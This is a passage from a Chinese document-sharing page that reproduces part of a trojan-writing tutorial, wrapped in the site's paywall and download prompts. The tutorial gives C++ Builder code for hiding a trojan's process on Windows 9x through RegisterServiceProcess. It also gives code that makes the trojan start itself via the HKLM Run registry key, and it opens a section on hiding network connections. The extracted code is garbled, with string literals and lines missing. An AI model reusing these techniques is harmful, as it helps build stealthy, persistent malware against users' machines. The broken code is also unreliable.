云题海 - 专业文章范例文档资料分享平台

当前位置:首页 > 木马编写教程学习木马编写的好资料

木马编写教程学习木马编写的好资料

  • 62 次阅读
  • 3 次下载
  • 2025/5/5 2:52:31

一定会产生一个进程吗?的确,所以我们可以不把他做成一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底隐藏的效果,这样的结果,导致了查杀黑客程序难度的增加。

出于安全考虑,我只给出一种通过注册服务程序,实现进程伪隐藏的方法,对于更复杂,高级的隐藏方法,比如远程线程插入其他进程的方法,请参阅ShotGun的文章《NT系统下木马进程的隐藏与检测》。

WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) {

try {

DWORD dwVersion = GetVersion(); //取得Windows的版本号 if (dwVersion >= 0x80000000) // Windows 9x隐藏任务列表 {

int (CALLBACK *rsp)(DWORD,DWORD);

HINSTANCE dll=LoadLibrary(\ //装入KERNEL32.DLL

rsp=(int(CALLBACK

*)(DWORD,DWORD))GetProcAddress(dll,\ //找到RegisterServiceProcess的入口 rsp(NULL,1); //注册服务 FreeLibrary(dll); //释放DLL模块 } }

catch (Exception &exception) //处理异常事件 { //处理异常事件 } return 0; }

3、程序的自加载运行技术

让程序自运行的方法比较多,除了最常见的方法:加载程序到启动组,写程序启动路径到注册表的HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersions\\\\Run的方法外,还有很多其他的办法,据yagami讲,还有几十种方法之多,比如可以修改Boot.ini,或者通过注册表里的输入法键值直接挂接启动,通过修改Explorer.exe启动参数等等的方法,真的可以说是防不胜防,下面展示一段通过修改HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersions\\\\Run键值来实现自启动的程序:

自装载部分:

HKEY hkey;

AnsiString NewProgramName=AnsiString(sys)+AnsiString(%unsigned long k;

k=REG_OPENED_EXISTING_KEY;

RegCreateKeyEx(HKEY_LOCAL_MACHINE,

\0L, NULL,

REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE, NULL, &hkey,&k); RegSetValueEx(hkey, \0, REG_SZ,

NewProgramName.c_str(), NewProgramName.Length()); RegCloseKey(hkey); if (int(ShellExecute(Handle, \

NewProgramName.c_str(), NULL, NULL,

SW_HIDE))>32) {

WantClose=true;

Close(); } else {

HKEY hkey; unsigned long k;

k=REG_OPENED_EXISTING_KEY;

long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE,

\0, NULL,

REG_OPTION_NON_VOLATILE, KEY_SET_VALUE,NULL, &hkey,&k); RegSetValueEx(hkey, \0, REG_SZ,

ProgramName.c_str(), ProgramName.Length()); int num=0; char str[20];

DWORD lth=20; DWORD type; char strv[255]; DWORD vl=254; DWORD Suc; do{

Suc=RegEnumValue(HKEY_LOCAL_MACHINE, (DWORD)num,str, NULL, &type, strv,&vl);

if (strcmp(str,\{

DeleteFile(AnsiString(strv));

RegDeleteValue(HKEY_LOCAL_MACHINE,\ break; }

}while(Suc== ERROR_SUCCESS); RegCloseKey(hkey); }

自装载程序的卸载代码: int num; char str2[20]; DWORD lth=20; DWORD type; char strv[255]; DWORD vl=254; DWORD Suc; do{

Suc=RegEnumValue(HKEY_LOCAL_MACHINE, (DWORD)num, str, NULL, &type, strv, &vl);

if (strcmp(str,\{

DeleteFile(AnsiString(strv));

RegDeleteValue(HKEY_LOCAL_MACHINE,\ break;

}

}while(Suc== ERROR_SUCCESS)

HKEY hkey; unsigned long k;

k=REG_OPENED_EXISTING_KEY;

RegCreateKeyEx(HKEY_LOCAL_MACHINE,

\0, NULL,

REG_OPTION_NON_VOLATILE, KEY_SET_VALUE,NULL, &hkey, &k); do{

Suc=RegEnumValue(hkey,(DWORD)num,str, if (strcmp(str,\{

DeleteFile(AnsiString(strv));

RegDeleteValue(HKEY_LOCAL_MACHINE,\ break; }

}while(Suc== ERROR_SUCCESS) RegCloseKey(hkey);

其中自装载部分使用C++ Builder可以这样写,会比较简化:

TRegistry & regKey = *new TRegistry(); regKey.RootKey=HKEY_LOCAL_MACHINE;

regKey.OpenKey(\ersion\\\\\\\\Run\if(!regKey.ValueExists(\{

regKey.WriteString(\

\}

regKey.CloseKey(); delete ®Key;

4、木马程序的建立连接的隐藏

木马程序的数据传递方法有很多种,其中最常见的要属TCP,UDP传输数据的方法了,通常是利用Winsock与目标机的指定端口建立起连接,使用send和recv等API进行数据的传递,但是由于这种方法的隐蔽性比较差,往往容易被一些工具软件查看到,最简单的,比如在命令行状态下使用netstat命令,就可以查看到当前的活动TCP,UDP连接。

搜索更多关于: 木马编写教程学习木马编写的好资料 的文档
  • 收藏
  • 违规举报
  • 版权认领
下载文档10.00 元 加入VIP免费下载
推荐下载
本文作者:...

共分享92篇相关文档

文档简介:

一定会产生一个进程吗?的确,所以我们可以不把他做成一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底隐藏的效果,这样的结果,导致了查杀黑客程序难度的增加。 出于安全考虑,我只给出一种通过注册服务程序,实现进程伪隐藏的方法,对于更复杂,高级的隐藏方法,比如远程线程插入其他进程的方法,请参阅ShotGun的文章《NT系统下木马进程的隐藏与检测》。 WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) { try { DWORD dwVersion = GetVersion(); //取得Windows的版本号 if (dwVersi

× 游客快捷下载通道(下载后可以自由复制和排版)
单篇付费下载
限时特价:10 元/份 原价:20元
VIP包月下载
特价:29 元/月 原价:99元
低至 0.3 元/份 每月下载150
全站内容免费自由复制
VIP包月下载
特价:29 元/月 原价:99元
低至 0.3 元/份 每月下载150
全站内容免费自由复制
注:下载文档有可能“只有目录或者内容不全”等情况,请下载之前注意辨别,如果您已付费且无法下载或内容有问题,请联系我们协助你处理。
微信:fanwen365 QQ:370150219
Copyright © 云题海 All Rights Reserved. 苏ICP备16052595号-3 网站地图 客服QQ:370150219 邮箱:370150219@qq.com